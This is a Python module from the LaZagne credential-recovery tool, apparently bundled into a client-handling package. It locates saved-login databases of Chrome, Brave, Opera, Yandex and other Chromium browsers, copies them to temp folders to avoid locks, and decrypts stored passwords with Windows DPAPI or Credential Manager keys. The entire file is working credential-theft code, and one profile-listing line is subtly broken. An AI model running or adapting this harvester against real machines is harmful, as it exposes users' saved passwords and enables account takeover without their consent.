# -*- coding: utf-8 -*- import base64 import json import os import random import shutil import sqlite3 import string import tempfile import traceback from foreign.client_handling.lazagne.config.constant import constant from foreign.client_handling.lazagne.config.module_info import ModuleInfo from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData from foreign.client_handling.lazagne.softwares.windows.credman import Credman class ChromiumBased(ModuleInfo): def __init__(self, browser_name, paths): self.paths = paths if isinstance(paths, list) else [paths] self.database_query = 'SELECT action_url, username_value, password_value FROM logins' ModuleInfo.__init__(self, browser_name, 'browsers', winapi_used=True) def _get_database_dirs(self): """ Return database directories for all profiles within all paths """ databases = set() for path in [p.format(**constant.profile) for p in self.paths]: profiles_path = os.path.join(path, u'Local State') if os.path.exists(profiles_path): # List all users profile (empty string means current dir, without a profile) profiles = {'Default', ''} # Automatic join all other additional profiles for dirs in os.listdir(path): dirs_path = os.path.join(path, dirs) if (os.path.isdir(dirs_path) == True) and (dirs.startswith('Profile')): profiles.extend(dirs) with open(profiles_path) as f: try: data = json.load(f) # Add profiles from json to Default profile. set removes duplicates profiles |= set(data['profile']['info_cache']) except Exception: pass # Each profile has its own password database for profile in profiles: # Some browsers use names other than "Login Data" # Like YandexBrowser - "Ya Login Data", UC Browser - "UC Login Data.18" try: db_files = os.listdir(os.path.join(path, profile)) except Exception: continue for db in db_files: if u'login data' in db.lower(): databases.add(os.path.join(path, profile, db)) return databases def _export_credentials(self, db_path, is_yandex=False): """ Export credentials from the given database :param unicode db_path: database path :return: list of credentials :rtype: tuple """ credentials = [] yandex_enckey = None if is_yandex: try: credman_passwords = Credman().run() for credman_password in credman_passwords: if b'Yandex' in credman_password.get('URL', b''): if credman_password.get('Password'): yandex_enckey = credman_password.get('Password') self.info('EncKey found: {encKey}'.format(encKey=repr(yandex_enckey))) except Exception: self.debug(traceback.format_exc()) # Passwords could not be decrypted without encKey self.info('EncKey has not been retrieved') return [] try: conn = sqlite3.connect(db_path) cursor = conn.cursor() cursor.execute(self.database_query) except Exception: self.debug(traceback.format_exc()) return credentials for url, login, password in cursor.fetchall(): try: # Yandex passwords use a masterkey stored on windows credential manager # https://yandex.com/support/browser-passwords-crypto/without-master.html if is_yandex and yandex_enckey: try: p = json.loads(str(password)) except Exception: p = json.loads(password) password = base64.b64decode(p['p']) # Passwords are stored using AES-256-GCM algorithm # The key used to encrypt is stored on the credential manager # from cryptography.hazmat.primitives.ciphers.aead import AESGCM # aesgcm = AESGCM(yandex_enckey) # Failed... else: # Decrypt the Password password = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) if not url and not login and not password: continue credentials.append((url, login, password)) except Exception: self.debug(traceback.format_exc()) conn.close() return credentials def copy_db(self, database_path): """ Copying db will bypass lock errors Using user tempfile will produce an error when impersonating users (Permission denied) A public directory should be used if this error occured (e.g C:\\Users\\Public) """ random_name = ''.join([random.choice(string.ascii_lowercase) for i in range(9)]) root_dir = [ tempfile.gettempdir(), os.environ.get('PUBLIC', None), os.environ.get('SystemDrive', None) + '\\', ] for r in root_dir: try: temp = os.path.join(r, random_name) shutil.copy(database_path, temp) self.debug(u'Temporary db copied: {db_path}'.format(db_path=temp)) return temp except Exception: self.debug(traceback.format_exc()) return False def clean_file(self, db_path): try: os.remove(db_path) except Exception: self.debug(traceback.format_exc()) def run(self): credentials = [] for database_path in self._get_database_dirs(): is_yandex = False if 'yandex' not in database_path.lower() else True # Remove Google Chrome false positif if database_path.endswith('Login Data-journal'): continue self.debug('Database found: {db}'.format(db=database_path)) # Copy database before to query it (bypass lock errors) path = self.copy_db(database_path) if path: try: credentials.extend(self._export_credentials(path, is_yandex)) except Exception: self.debug(traceback.format_exc()) self.clean_file(path) return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(credentials)] # Name, path or a list of paths chromium_browsers = [ (u'7Star', u'{LOCALAPPDATA}\\7Star\\7Star\\User Data'), (u'amigo', u'{LOCALAPPDATA}\\Amigo\\User Data'), (u'brave', u'{LOCALAPPDATA}\\BraveSoftware\\Brave-Browser\\User Data'), (u'centbrowser', u'{LOCALAPPDATA}\\CentBrowser\\User Data'), (u'chedot', u'{LOCALAPPDATA}\\Chedot\\User Data'), (u'chrome canary', u'{LOCALAPPDATA}\\Google\\Chrome SxS\\User Data'), (u'chromium', u'{LOCALAPPDATA}\\Chromium\\User Data'), (u'coccoc', u'{LOCALAPPDATA}\\CocCoc\\Browser\\User Data'), (u'comodo dragon', u'{LOCALAPPDATA}\\Comodo\\Dragon\\User Data'), # Comodo IceDragon is Firefox-based (u'elements browser', u'{LOCALAPPDATA}\\Elements Browser\\User Data'), (u'epic privacy browser', u'{LOCALAPPDATA}\\Epic Privacy Browser\\User Data'), (u'google chrome', u'{LOCALAPPDATA}\\Google\\Chrome\\User Data'), (u'kometa', u'{LOCALAPPDATA}\\Kometa\\User Data'), (u'opera', u'{APPDATA}\\Opera Software\\Opera Stable'), (u'orbitum', u'{LOCALAPPDATA}\\Orbitum\\User Data'), (u'sputnik', u'{LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data'), (u'torch', u'{LOCALAPPDATA}\\Torch\\User Data'), (u'uran', u'{LOCALAPPDATA}\\uCozMedia\\Uran\\User Data'), (u'vivaldi', u'{LOCALAPPDATA}\\Vivaldi\\User Data'), (u'yandexBrowser', u'{LOCALAPPDATA}\\Yandex\\YandexBrowser\\User Data') ] chromium_browsers = [ChromiumBased(browser_name=name, paths=paths) for name, paths in chromium_browsers]